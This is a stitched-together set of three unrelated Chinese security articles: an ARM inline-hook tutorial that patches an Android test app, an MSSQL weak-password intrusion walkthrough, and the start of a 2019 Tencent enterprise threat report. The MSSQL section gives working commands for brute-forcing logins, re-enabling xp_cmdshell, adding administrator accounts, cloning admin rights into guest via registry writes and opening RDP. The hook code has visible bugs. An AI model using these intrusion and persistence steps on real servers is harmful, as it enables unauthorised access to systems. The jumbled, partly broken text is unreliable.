//构建原指令的函数
bool BuildOldFunction(INLINE_HOOK_INFO* pstInlineHook);
//重写hook点的原指令，使其跳转到桩函数处
bool RebuildHookTarget(INLINE_HOOK_INFO* pstInlineHook);
//HOOK的总流程
extern bool HookArm(INLINE_HOOK_INFO* pstInlineHook);
**Ihook.c** :HookArm函数，主要的Hook模块。我们先将整个hook流程串起来，再去补全4个功能函数的代码
#include "Ihook.h"
bool HookArm(INLINE_HOOK_INFO* pstInlineHook)
{
//hook结果
bool bRet = false;
while(1)
{
//判断是否传入Hook点信息的结构体
if(pstInlineHook == NULL)
{
LOGI("pstInlineHook is null.");
break
}
/* 初始化hook点的信息，如原指令地址、将要执行的用户自定义函数*/
if(InitArmHookInfo(pstInlineHook) == false)
{
LOGI("Init Arm HookInfo fail.");
break;
}
/* 1. 构造桩函数*/
if(BuildStub(pstInlineHook) == false)
{
LOGI("BuildStub fail.");
break;
}
/* 2. 构造原指令函数，执行被覆盖指令并跳转回原始指令流程*/
if(BuildOldFunction(pstInlineHook) == false)
{
LOGI("BuildOldFunction fail.");
break;
}
/* 3. 改写原指令为跳转指令，跳转到桩函数处*/
if(RebuildHookTarget(pstInlineHook) == false)
{
LOGI("RebuildHookAddress fail.");
break;
}
bRet = true;
break;
}
return bRet;
}
**hook.c** :InitArmHookInfo函数，保存原指令的opcode
/**
* 初始化hook点信息，保存原指令的opcode
*
* @param pstInlineHook hook点相关信息的结构体
* @return 初始化是否成功
*/
bool InitArmHookInfo(INLINE_HOOK_INFO* pstInlineHook)
{
bool bRet = false;
if(pstInlineHook == NULL)
{
LOGI("pstInlineHook is null");
return bRet;
}
memcpy(pstInlineHook->szbyBackupOpcodes, pstInlineHook->pHookAddr, 8);
return bRet;
}
**hook.c** :BuildStub函数，第一步构造桩函数，这里我们用shellcode来构造。
* 我们申请一块内存并且将内存属性改成可执行，将shellcode拷进去，shellcode的起始地址就是桩函数的地址，将这个地址存进hook点结构体中
* 还有将shellcode中存有原指令函数地址的变量留空，并且将该变量的内存地址存放进hook点结构体中，以便在构造原指令函数的时候，用原指令函数的地址将shellcode中的这个变量填充
* 从hook点结构体中获取用户自定义函数的地址给shellcode中的_hookstub_function_addr_s变量赋值
/**
* 修改页属性，改成可读可写可执行
* @param pAddress 需要修改属性起始地址
* @param size 需要修改页属性的长度，byte为单位
* @return bool 修改是否成功
*/
bool ChangePageProperty(void *pAddress, size_t size)
{
bool bRet = false;
if(pAddress == NULL)
{
LOGI("change page property error.");
return bRet;
}
//计算包含的页数、对齐起始地址
unsigned long ulPageSize = sysconf(_SC_PAGESIZE);
int iProtect = PROT_READ | PROT_WRITE | PROT_EXEC;
//页对齐，把小于4096的位数(前12位)都置0，只取大于4096的位数且其值必然是4096的整数倍
//并且这个值必然小于等于参数pAddress
unsigned long ulNewPageStartAddress = (unsigned long)(pAddress) & ~(ulPageSize - 1);
long lPageCount = (size / ulPageSize) + 1;
int iRet = mprotect((const void *)(ulNewPageStartAddress), lPageCount*ulPageSize , iProtect);
if(iRet == -1)
{
LOGI("mprotect error:%s", strerror(errno));
return bRet;
}
return true;
}
/**
* 1. 构造桩函数。这里的桩函数我们主要在shellcode中实现
* * 保存寄存器的值
* * 跳转到用户自定义函数callback
* * 寄存器还原操作
* * 跳转到构造好的原指令函数中
*
* @param pstInlineHook hook点相关信息的结构体
* @return inlinehook桩是否构造成功
*/
bool BuildStub(INLINE_HOOK_INFO* pstInlineHook)
{
bool bRet = false;
while(1)
{
if(pstInlineHook == NULL)
{
LOGI("pstInlineHook is null");
break;
}
//导入数据段中shellcdoe的开始、结束地址，为用户自定义函数callback和将要构造的原指令函数保留的地址
void *p_shellcode_start_s = &_shellcode_start_s;
void *p_shellcode_end_s = &_shellcode_end_s;
void *p_hookstub_function_addr_s = &_hookstub_function_addr_s;
void *p_old_function_addr_s = &_old_function_addr_s;
//malloc一块内存，将shellcode拷贝进去并修改这块内存为可执行权限
//并且更新hook点结构体的数据，让结构体中保存有桩函数(shellcode)的地址和一个变量的地址，这个变量存放着原指令函数的地址，并且这个变量在构造原指令函数的时候才会存进真实的地址
size_t sShellCodeLength = p_shellcode_end_s - p_shellcode_start_s;
void *pNewShellCode = malloc(sShellCodeLength);
if(pNewShellCode == NULL)
{
LOGI("shell code malloc fail.");
break;
}
memcpy(pNewShellCode, p_shellcode_start_s, sShellCodeLength);
if(ChangePageProperty(pNewShellCode, sShellCodeLength) == false)
{
LOGI("change shell code page property fail.");
break;
}
//从参数中获取用户自定义函数callback的地址，并填充到shellcode中
void **ppHookStubFunctionAddr = pNewShellCode + (p_hookstub_function_addr_s - p_shellcode_start_s);
*ppHookStubFunctionAddr = pstInlineHook->onCallBack;
//桩函数(shellcode)的地址
pstInlineHook->pStubShellCodeAddr = pNewShellCode;
//变量地址，存放原指令函数地址的变量
pstInlineHook->ppOldFuncAddr = pNewShellCode + (p_old_function_addr_s - p_shellcode_start_s);
bRet = true;
break;
}
return bRet;
}
**ihookstub.s** :shellcode：具体做到以下桩函数的功能
* 保存寄存器值
* 跳转执行用户自定义的函数callback
* 还原寄存器的值
* 跳转执行原指令函数
.global _shellcode_start_s
.global _shellcode_end_s
.global _hookstub_function_addr_s
.global _old_function_addr_s
.data
_shellcode_start_s:
push {r0, r1, r2, r3} ;取push完r0-r4的sp，后面在这个基础上进行更改，所以我们需要保存的r13的值就是sp+0x10
mrs r0, cpsr ;将CPSR寄存器内容读出到R0
str r0, [sp, #0xC] ;将cpsr保存到sp+#0xC的位置
str r14, [sp, #8] ;将r14(lr)保存到sp+8
add r14, sp, #0x10 ;sp+0x10的值存放进r14
str r14, [sp, #4] ;保存寄存器r13的值到sp+4的位置
pop {r0} ;sp+4
push {r0-r12} ;保存寄存器的值。sp+4-0x34=sp-0x30，将r0-r12压栈
mov r0, sp ;将栈顶位置放入r0，作为参数传入_hookstub_function_addr_s函数内
ldr r3, _hookstub_function_addr_s
blx r3 ;调用用户自定义函数callback
ldr r0, [sp, #0x3C] ;sp-0x30+0x3c=sp+0xc,刚好是之前保存cpsr的栈地址
msr cpsr, r0 ;恢复cpsr
ldmfd sp!, {r0-r12} ;恢复r0-r12的寄存器的值，sp-0x30+0x34=sp+4
ldr r14, [sp, #4] ;恢复r14的值。sp+4+4=sp+8刚好是保存了r14寄存器的值
ldr sp, [r13] ;恢复寄存器r13的值(r13=sp+4)刚好是之前保存的r13的值
ldr pc, _old_function_addr_s ;跳转回即将构造的原指令函数处
_hookstub_function_addr_s:
.word 0xffffffff
_old_function_addr_s:
.word 0xffffffff
_shellcode_end_s:
.end
**hook.c** :BuildOldFunction第二步主要构造原指令函数，用到了一个构造跳转指令的功能
/**
* (ARM)修改指定位置的指令为跳转到另一个指定位置的跳转指令。
* @param pCurAddress 当前地址，要构造跳转指令的位置
* @param pJumpAddress 目的地址，要从当前位置跳过去的地址
* @return 跳转指令是否构造成功
*/
bool BuildArmJumpCode(void *pCurAddress , void *pJumpAddress)
{
bool bRet = false;
while(1)
{
if(pCurAddress == NULL || pJumpAddress == NULL)
{
LOGI("address null.");
break
}
//LDR PC, [PC, #-4]的机器码是0xE51FF004
BYTE szLdrPCOpcodes[8] = {0x04, 0xF0, 0x1F, 0xE5};
//LDR PC, [PC, #-4]指令执行时，PC的值刚好是PC+8的位置，也就是PC-4=pc+8-4=pc+4的值就是下一条指令的值
//我们用地址代替指令值，实现修改PC寄存器执行到指定地址的功能
memcpy(szLdrPCOpcodes + 4, &pJumpAddress, 4);
//修改指定位置的指令
memcpy(pCurAddress, szLdrPCOpcodes, 8);
cacheflush(*((uint32_t*)pCurAddress), 8, 0);
bRet = true;
break;
}
return bRet;
}
/**
* 2.构造原指令函数。
* * 执行原指令
* * 跳转到原始指令流程中，即原指令的下一条指令处
* 出了上面两个功能我们还需要将shellcode中的原指令函数地址进行填充，承接上面的流程
*
* @param pstInlineHook hook点相关信息的结构体
* @return 原指令函数是否构造成功
*/
bool BuildOldFunction(INLINE_HOOK_INFO* pstInlineHook)
{
bool bRet = false;
while(1)
{
if(pstInlineHook == NULL)
{
LOGI("pstInlineHook is null");
break;
}
//8字节原指令，8字节原指令的下一条指令
void * pNewEntryForOldFunction = malloc(16);
if(pNewEntryForOldFunction == NULL)
{
LOGI("new entry for old function malloc fail.");
break;
}
if(ChangePageProperty(pNewEntryForOldFunction, 16) == false)
{
LOGI("change new entry page property fail.");
break;
}
//拷贝原指令到内存块中
memcpy(pNewEntryForOldFunction, pstInlineHook->szbyBackupOpcodes, 8);
//拷贝跳转指令到内存块中
if(BuildArmJumpCode(pNewEntryForOldFunction + 8, pstInlineHook->pHookAddr + 8) == false)
{
LOGI("build jump opcodes for new entry fail.");
break;
}
//填充shellcode里stub的回调地址
*(pstInlineHook->ppOldFuncAddr) = pNewEntryForOldFunction;
bRet = true;
break;
}
return bRet;
}
**hook.c**
:RebuildHookTarget函数。最后一步，覆盖原指令(8字节长度，2条指令)，使其跳转到我们构造好的桩函数(shellcode)中去
/**
* 3. 覆盖HOOK点的指令，跳转到桩函数的位置
* @param pstInlineHook inlinehook信息
* @return 原地跳转指令是否构造成功
*/
bool RebuildHookTarget(INLINE_HOOK_INFO* pstInlineHook)
{
bool bRet = false;
while(1)
{
if(pstInlineHook == NULL)
{
LOGI("pstInlineHook is null");
break;
}
//修改原位置的页属性，保证可写
if(ChangePageProperty(pstInlineHook->pHookAddr, 8) == false)
{
LOGI("change page property error.");
break;
}
//覆盖原指令为跳转指令
if(BuildArmJumpCode(pstInlineHook->pHookAddr, pstInlineHook->pStubShellCodeAddr) == false)
{
LOGI("build jump opcodes for new entry fail.");
break;
}
bRet = true;
break;
}
return bRet;
}
# 应用实例
这里我们利用一个测试App，他的Native层写了一个这样的功能，如果我们不对其进行修改，他将5分钟后才会返回一个"Enough. You
Win!"，现在我们的目的就是利用内联hook修改这个uiTimeCounter属性的值使其立刻输出"Enough. You Win!"
static unsigned int uiTimeCounter = 0x1;
//该函数，根据uiTimeCounter全局变量，返回两种结果字符串
//大于30则返回成功提示，否则返回等待提示
JNIEXPORT jstring JNICALL Java_com_example_gslab_ibored_MainActivity_UpdateResult
(JNIEnv *pJniEnv, jclass Jclass)
{
unsigned int uiLocalVar = 1;
uiTimeCounter += uiLocalVar;
if(uiTimeCounter > 300)
{
//win
return pJniEnv->NewStringUTF("Enough. You Win!");
}
else
{
//wait
return pJniEnv->NewStringUTF("Just Wait.");
}
}
## 实现过程
### 第一步
找到我们需要修改的点。这里我们用IDA进行寻找。从下面代码中可以看到这里我们使用的r0寄存器进行判断，如果小于等于300就输出"just
wait",所以我们需要Hook的点就是这个判断语句处，将r0改成大于300即可
计算出HOOK点相对模块的偏移地址。上图可以知道HOOK点的地址为AF86399A，基地址可以crtl+s，找到代码段的开始地址，在经过相减(AF88C49C-AF859000)得到偏移值为0x3349c
### 第二步
根据需要修改的点，利用我们最开始写的hook功能，来编写代码修改这个点
#include <vector>
extern "C"
{
#include "Ihook.h"
}
//声明函数在加载库时被调用,也是hook的主函数
void ModifyIBored() __attribute__((constructor));
typedef std::vector<INLINE_HOOK_INFO*> InlineHookInfoPVec;
static InlineHookInfoPVec gs_vecInlineHookInfo; //管理HOOK点
/**
* 对外inline hook接口，负责管理inline hook信息
* @param pHookAddr 要hook的地址
* @param onCallBack 要插入的回调函数
* @return inlinehook是否设置成功（已经设置过，重复设置返回false）
*/
bool InlineHook(void *pHookAddr, void (*onCallBack)(struct pt_regs *))
{
bool bRet = false;
if(pHookAddr == NULL || onCallBack == NULL)
{
return bRet;
}
//填写hook点位置和用户自定义回调函数
INLINE_HOOK_INFO* pstInlineHook = new INLINE_HOOK_INFO();
pstInlineHook->pHookAddr = pHookAddr;
pstInlineHook->onCallBack = onCallBack;
if(HookArm(pstInlineHook) == false)
{
LOGI("HookArm fail.");
delete pstInlineHook;
return bRet;
}
gs_vecInlineHookInfo.push_back(pstInlineHook);
return true;
}
/**
* 用户自定义的回调函数，修改r0寄存器大于300
*/
void EvilHookStubFunctionForIBored(pt_regs *regs)
{
LOGI("In Evil Hook Stub.");
regs->uregs[0] = 0x333;
}
/**
* 1.Hook入口
*/
void ModifyIBored()
{
LOGI("In IHook's ModifyIBored.");
void* pModuleBaseAddr = GetModuleBaseAddr(-1, "libnative-lib.so");
if(pModuleBaseAddr == 0)
{
LOGI("get module base error.");
return;
}
//模块基址加上HOOK点的偏移地址就是HOOK点在内存中的位置
uint32_t uiHookAddr = (uint32_t)pModuleBaseAddr + 0x3349c;
LOGI("uiHookAddr is %X", uiHookAddr);
//HOOK函数
InlineHook((void*)(uiHookAddr), EvilHookStubFunctionForIBored);
}
上面的hook代码中用到了获取基地址的函数pModuleBaseAddr，所以我们需要在 **hook.c** 文件中补充这个函数
/*
* 通过/proc/$pid/maps，获取模块基址
* @param pid 模块所在进程pid，如果访问自身进程，可填小余0的值，如-1
* @param pszModuleName 模块名字
* @return void* 模块基址，错误则返回0
*/
void * GetModuleBaseAddr(pid_t pid, char* pszModuleName)
{
FILE *pFileMaps = NULL;
unsigned long ulBaseValue = 0;
char szMapFilePath[256] = {0};
char szFileLineBuffer[1024] = {0};
//pid判断，确定maps文件
if (pid < 0)
{
snprintf(szMapFilePath, sizeof(szMapFilePath), "/proc/self/maps");
}
else
{
snprintf(szMapFilePath, sizeof(szMapFilePath), "/proc/%d/maps", pid);
}
pFileMaps = fopen(szMapFilePath, "r");
if (NULL == pFileMaps)
{
return (void *)ulBaseValue;
}
//循环遍历maps文件，找到相应模块，截取地址信息
while (fgets(szFileLineBuffer, sizeof(szFileLineBuffer), pFileMaps) != NULL)
{
if (strstr(szFileLineBuffer, pszModuleName))
{
char *pszModuleAddress = strtok(szFileLineBuffer, "-");
if (pszModuleAddress)
{
ulBaseValue = strtoul(pszModuleAddress, NULL, 16);
if (ulBaseValue == 0x8000)
{
ulBaseValue = 0;
}
break;
}
}
}
fclose(pFileMaps);
return (void *)ulBaseValue;
}
### 第三步
针对上面的代码我们进行编译工作
**编译HOOK功能模块的静态库** ：jni/InlineHook/Android.mk
同目录下有IHook.c、ihookstub.s、IHook.h、Andropid.mk
* LOCAL_ARM_MODE：编译后的指令都是4字节长度的arm指令集
* LOCAL_CPPFLAGS：如果编译cpp文件，需要给编译器传递一组选项
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_CPPFLAGS += -g -O0
LOCAL_ARM_MODE := arm
LOCAL_MODULE := IHook
LOCAL_SRC_FILES := IHook.c ihookstub.s
LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
include $(BUILD_STATIC_LIBRARY)
**hook主模块** ：jni/Interface/Android.mk
同目录下有InlineHook.cpp、Android.mk
* LOCAL_STATIC_LIBRARIES：引用我们上面编译的静态库
* LOCAL_C_INCLUDES：此选项添加目录到include搜索路径中
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_CPPFLAGS += -g -O0
LOCAL_ARM_MODE := arm
LOCAL_MODULE := InlineHook
LOCAL_STATIC_LIBRARIES:= IHook
LOCAL_C_INCLUDES := $(LOCAL_PATH)/../InlineHook
LOCAL_SRC_FILES := InlineHook.cpp
LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
include $(BUILD_SHARED_LIBRARY)
**编译所有目录下的文件** ：jni/Android.mk
include $(call all-subdir-makefiles)
jni/Application.mk
* APP_STL：选择C++标准库
* APP_CPPFLAGS：标记所有编译的cpp文件，启用C++异常
APP_ABI := armeabi-v7a
APP_STL := c++_static
APP_CPPFLAGS += -fexceptions
**开始编译** ：在jni目录下执行`ndk-build`命令,即可在jni同目录下的libs目录中生成so共享库
>
> 这里需要注意，我们上面写的hook模块是基于arm指令集的，所以我们测试用的项目也要声明使用arm指令集，如果是cmake，在app目录下的build.gradle文件中设置如下
>
>
> defaultConfig {
> ...
> externalNativeBuild {
> cmake {
> ...
> arguments "-DANDROID_ARM_MODE=arm"
> }
> }
> }
### 第四步
hook之后，我们出了成功提早输出这句话后，我们这边的比较指令也被改成相应跳转指令
# 小结
【1】先构造好我们的装函数，再覆盖原指令进行跳转。防止我们先进行原指令覆盖后，程序执行到这里但是我们的桩函数还没构造好而引发的异常
【2】覆盖指令的是否为什幺覆盖2条，这是因为我们构造跳转指令的时候，需要两条指令的长度
【3】一定需要注意指令集的确定，不同指令集我们跳转函数LDR PC,[RC, #-4]的指令是不同的，需要覆盖的长度也是不同的
# 参考
【书籍】游戏安全-手游安全技术入门 | 社区文章 |
# 【技术分享】针对MSSQL弱口令实战流程梳理与问题记录
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **myles007**](http://bobao.360.cn/member/contribute?uid=749283137)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**1\. 端口发现**
**1.1. 常用工具推荐**
常用端口扫描工具，其实很多这里不做过多的说明，本人还是以经典好用的nmap进行实际操练。
**nmap**
nmap工具的下载，请直接去其官方网站下载即可。
**ssport**
ssport 是个简单快速的图形化端口扫描工具。
**1.2. nmap端口扫描**
我们现在进行整个网段的TCP 1433端口扫描，探测下开启了1433端口的服务器地址，具体端口扫描命令如下：
nmap -p1433 --open x.x.x.0/24
扫描结果截图如下：
通过以上nmap的扫描发现，本目标网段存在4台主机开启了远程1433端口服务。
**2\. 弱口令爆破**
**2.1. 常用工具推荐**
x-scan
hscan
nmap
x-scan 与hscan两款工具（x-scan &
hscan）都是自带字典的图形化常见应用的扫描检测工具，他们各自支持扫描检测的应用类型非常丰富，具体的情况这里也不做过多的赘述，我这里仅以hscan和nmap作为实操工具分别进行演练。
**2.2. Nmap 弱口令爆破**
Nmap
扫描器功能之强大，这里肯定不需要我等小菜过多的说明了，我这里只简单的说下Nmap强大的扫描脚本的使用方法。其实使用也是非常方便的，只要我们找到相应的脚本，直接以文本编辑模式打开脚本，就可以找到具体的使用方法，后面会详细演示给大家，具体过程如下。
**2.2.1. 查找ms-sql暴力破击脚本**
Nmap的所有相关扫描脚本都存放在Nmap安装目录下的“script”目录下，在我们进入“script”目录后，直接查找ms-sql关键字就可以找到所有与ms-sql相关的扫描脚本，这里我们使用脚本“ms-sql-brute”这个ms-sql暴力爆破模块，其实我们从它的名字也能猜到本模块的功能。
**2.2.2. 查看ms-sql-brute脚本使用方法**
在查找到nmap脚本后，我们可以直接以文本编辑的模式打开脚本，我们看文本中有个一个单词“@usage”，其实就是使用方法了，在使用方法中已经给出了详细的使用案例，我们直接复制出来，然后在CMD下直接进行修改后即可使用了。
**2.2.3. 调用ms-sql-brute脚本进行扫描**
竟然是进行ms-sql登录口令的暴力破解，自然就是要用到字典了，有关弱口令字典的内容需要我们自行去收集了，很多的一些扫描工具中都会字典部分弱口令字典，大家平时也可以收集整理起来，以备使用。
那么接下来，我们直接参考扫描脚本中的案例，直接修改了字典的名称和扫描目标即可下发扫描任务了。以下截图分别给出了“单个主机”和“主机列表”的扫描过程截图。
**2.3. hscan 弱口令爆破**
**2.3.1. 配置扫描模块**
通过“菜单”-“参数”指定MSSQL 弱口令检查；
**2.3.2. 配置扫描参**
通过“菜单”-“参数”浏览指定前面发现地址列表。
**2.3.3. 发起扫描任务**
**2.3.4. 扫描结果**
**3\. MSSQL 入侵**
至此，我们已经完成对网络中存在弱口令的ms-sql服务的安全扫描检查工作，接下来要进入到真正的入侵渗透压轴大戏了。
**3.1. 数据库查询工具推荐**
下面分别给大家贴出两个mssql查询分析工具的下载链接，请大家对于工具的使用要慎重，千万不要不要用于非法的攻击行为。网络安全即将发布了，请大家做个遵纪守法的小伙伴。
**1) MSSQL 查询分析器**
云盘下载：<http://pan.baidu.com/s/1slK0tbf> 密码：0bdb
**2) MSSQL 执行器**
下载地址：
<http://xiaowang.blog.51cto.com/attachment/200902/1083_1233814542.rar>
**3) Nmap 脚本连接**
对于nmap的使用，我们同样可以使用其提供的ms-sql-xp-cmdshell脚本直接进行提权操作。
**3.2. 连接登录数据**
我这里演示，使用mssql查询分析器，使用过程中发现比较稳定些，也推荐给大家。现在直接使用mssql分析连接数据库。
**3.3. 添加系统账号并提权**
**3.3.1. 第一步：使用xp_cmdshell添加普通账号test**
添加账号：
xp_cmdshell ‘net user test 123 /add’
**3.3.2. 第二步：使用xp_cmdshell进行test用户提权**
提权语句：
xp_cmeshell ‘net localgroup administrators test /add’
**3.3.3. 第三步：查询用户提权情况**
用户查询：
xp_cmdshell ‘net user test’
**3.4. 查询3389端口是否开启**
**3.5. 维持访问**
对于如何保持访问，我们可以通过“破解系统超级管理员密码”或“克隆系统管理员权限”都可以，这里为了对前面学习的新技能进行回顾，我这里使用xp_regread与xp_regwrite进行administrator账户进行权限克隆的实操演示。
**3.5.1. 第一步：查询administrator账号的value值**
xp_regread 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F4','F'
**3.5.2. 第二步：将administrator账号的value值赋给guest**
xp_regwrite 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F5','F','reg_binary',0x......
**3.5.3. 第三步：启用guest账户并提权**
Windows2000以上的系统环境，guest用户必须在“Remote Desk
Users”以上权限的用户组中，才允许你远程登录系统，故需要将guest用户添加到超级用户管理组中。
我们直接使用xp_cmdshell存储过程进行guest普通账号的提权，具体命令如下。
注：前面分享的原理性文章中已经补充说明过，windows2000系统是无需进行这里的第三步的操作。
**4\. 常见问题记录**
最后对于个人在实际渗透中遇到的各种的问题进行下小结，并将解决问题的实操方法与情况记录如下，分享于大家。
**4.1. 存储过程不能调用**
**4.1.1. 如果提示xp_cmdshell被删除了怎么办？**
运行以下语句进行恢复：
exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll'
**4.1.2. 如果提示xp_cmdshell被停用户怎么办法**
运行以下语句进行恢复：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
**4.2. 3389服务关闭了怎么办？**
**4.2.1. Windows 2003环境RDP服务开启**
执行以下命令查看语句，检查c:更目录是否有windows目录，如果有则说明当前系统为windows 2003系统及以上系统。
exec master..xp_cmdshell 'dir c:'
随后我们再执行以下语句进3389端口服务的开启。
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'
注：已经验证语句执行完毕后，无需重启，即可直接远程登录。
**4.2.2. windows 2000环境RDP服务开启**
看看根目录下如果有WINNT目录，则一般是win2000，随后再执行下面的语句来开启其3389服务。
exec master..xp_cmdshell 'dir c:'
exec master..xp_cmdshell 'echo [Components] > c:winnt3389'
exec master..xp_cmdshell 'echo TSEnable = . >> c:winnt3389'
exec master..xp_cmdshell ·'sysocmgr /i:c:winntinfsysoc.inf /u:c:winnt3389 /q'
注：window 2000系统需要重启后，配置才能生效。
**4.3. 使用3389连接时，提示连接用户必须有远程连接的权限怎么办？**
直接将测试用户添加到“administrators”用户组，执行语句如下：
exec master..xp_cmdshell 'net localgroup administrators test /add'
**4.4. 连接3389，提示连接用户已满怎么办？**
可以直接在“运行”中执行以下命令来调用“远程桌面管理工具”：
mstsc /admin | 社区文章 |
**作者：腾讯安全御见威胁情报中心**
**来源：[腾讯安全：2019上半年企业安全总结](https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247491515&idx=1&sn=7532cece6ec34f6fe6143df2974be1ec&chksm=ec9cc6c8dbeb4fdee5ff53b4eadf2af2f12f336db6ad0e09f110b28ef798fca841e3da0c4514&mpshare=1&scene=1&srcid=&sharer_sharetime=1566805694200&sharer_shareid=bafb2678ed1f77a340809d0b35c3d277&key=e569ae84dd481d07b0bcccfcb52ea2110fa189b101ef8f69f5086e75d4fc1282d04bddc259ce68045188b39d5f724020160c8942a3008595a769677472aa12cfff16a85de8a286049a5f3cfaf317ff31&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=rHWJBppkfMz3%2B6SGEwPF%2BVf%2BF5mUGps29qR24w3QFQGFy1r%2B56mV%2BKNoGunTcrVk
"腾讯安全：2019上半年企业安全总结")**
# 一、前言
2019年6月，多家媒体报道，美国总统特朗普允许网络司令部对伊朗的火箭及导弹发射系统发起攻击。有报道称该攻击使伊朗这一武器系统“瘫痪”。6月24日伊朗通信和信息技术部长穆罕默德·贾哈米发推特称：“美方尽全力对伊朗发动网络攻击，但是失败了。2018年伊朗的网络防火墙阻止了3300万次网络攻击。”
在网络安全风险高发的大背景下，我国于2016年出台了《网络安全法》，并在
2019年5月发布了安全等级保护2.0(简称等保2.0)相关国家标准，将于2019年12月1日开始正式实施。等保2.0实现了对云计算、大数据、物联网、移动互联和工业控制信息系统等保护对象全覆盖。这意味着企事业单位和政府机关等主体需要进一步加大对信息安全产品和服务的投入。
近年来对企业安全影响最深远的事件是以WannaCry为代表的勒索病毒爆发。一方面其打开“永恒之蓝漏洞”这个近年最强的公开攻击工具使用的潘多拉魔盒，另一方面也把勒索病毒这一形态推向了网络安全攻防的最热点。后续模仿者有利用“永恒之蓝”传播挖矿木马，也有进一步集成多种攻击武器，传播勒索病毒索要赎金。GranCrab勒索病毒就是其中的佼佼者。
2019年6月GandCrab勒索病毒运营方突然宣布将停止更新，同时透露了一个惊人的盈利数字 --GandCrab病毒产业链收益高达20亿美元。这一病毒的发展过程中，各类安全厂商和罗马尼亚警方始终对其围追堵截。罗马尼亚警方和安全厂商Bitdefender通过攻破其服务器获取密钥的方式，面向受害者发布解密工具。但遗憾的是，仍有大量受害者感染该病毒并选择了缴纳赎金。在这个案例的“激励”下，大量的黑产从业者会继续开发和传播勒索病毒牟利。
综上，对企业和政府机构而言，网络安全建设绝不仅是满足监管需求，而是切实的规避安全风险。一款病毒制造者获利20亿美元的背后，其同时造成的企业生产中断，公共事务网站停摆等损失会远远超过这个数字。台积电生产线感染WannaCry全线停摆综合损失即高达1.7亿美金。
本文以腾讯安全御见威胁情报中心安全大数据为基础，从终端安全、服务器安全、网站安全和邮件安全等纬度剖析2019年上半年企业用户安全趋势。
# 二、企业终端安全现状
终端设备是企业的重要资产，包括员工使用的PC计算机，服务器(文件服务器、邮件服务器等)，此外还包括打印机、摄像头等IoT设备。这些终端设备也成为了黑客攻击的重要目标。本文第二章将从企业终端的安全性，脆弱性，及邮件安全三部分对企业终端资产所面临的威胁进行分析。
脆弱性主要分析终端设备容易被攻击入侵的原因，包括高危漏洞没有及时修复，开放的高危端口及企业员工安全意识等。
安全性主要分析终端设备所面临的安全威胁，包括上半年企业终端感染的主要病毒类型，企业染毒比例，及不同行业的感染病毒分布情况分析。
## (一) 终端安全性分析
### 1\. 企业终端病毒感染概况
根据腾讯安全御见威胁情报中心数据显示，上半年每周平均约23%的企业发生过终端病毒木马攻击事件，其中风险类软件感染占比最多（占40%），其次为后门远控类木马（占14%）。
企业终端风险中，感染风险软件的仍排行第一，占比达到40%。部分终端失陷后，攻击者植入远控木马（占14%），并利用其作为跳板，部署漏洞攻击工具再次攻击内网其它终端，最终植入挖矿木马或者勒索病毒。另外，企业内文件共享等机制也使得感染型病毒持续占据10%左右的比例。
风险软件主要是指其行为在灰色地带打擦边球，如流氓推装、刷量、弹骚扰广告等，风险类软件之所以会有如此高的感染量和其推广传播方式密切相关。和勒索病毒挖矿木马等通过漏洞利用，暴力破解等“高难度”的攻击传播方式不一样，风险软件的推广传播更加明目张胆，比如购买通过搜索引擎关键字，捆绑正常软件进行传播。
腾讯安全御见威胁情报中心曾披露某病毒团伙通过购买“flash
player”等关键字，利用搜索引擎广告推广，中招用户累计达数十万之多（可参考：[一款利用搜索引擎推广的病毒下载器，推装超30款软件，已感染数十万台电脑](https://mp.weixin.qq.com/s/tzYPGN4IuWEYFNc402B92g)）。此外，各软件下载站的“高速下载器”,、ghost系统站点、游戏外挂站点、破解工具等都是重要传播渠道。这些渠道都有着较大且稳定的受众群体，导致风险软件成为终端安全的重灾区。
挖矿木马同比提高近5%，几乎成为当前流行黑产团伙的必备组件。随着比特币、门罗币、以太坊币等数字加密币的持续升值，挖矿成了黑产变现的重要渠道。我们预计挖矿木马占比仍将继续上升。
勒索病毒同比变化不大，但近年新的勒索病毒层出不穷，一旦攻击成功危害极大。部分受害企业被迫交纳“赎金”或“数据恢复费”，勒索病毒仍是当前企业需要重点防范的病毒类型。
### 2\. 不同行业感染病毒类型分布情况
风险类软件在各行业的染毒占比最高，此外后门远控类木马在科技行业的染毒比例相对较高为26%，可能和科技行业中的间谍活动更加频繁相关。
风险类软件在教育，医疗等多个行业中的染毒比例都是最高的，而且往往都有感染量大的特点，主要原因是传播渠道广泛，包括下载器、ghost系统站点、游戏外挂站点、流氓软件等，此外用户对这类风险软件的感知不是很明显导致没有及时杀毒清理。
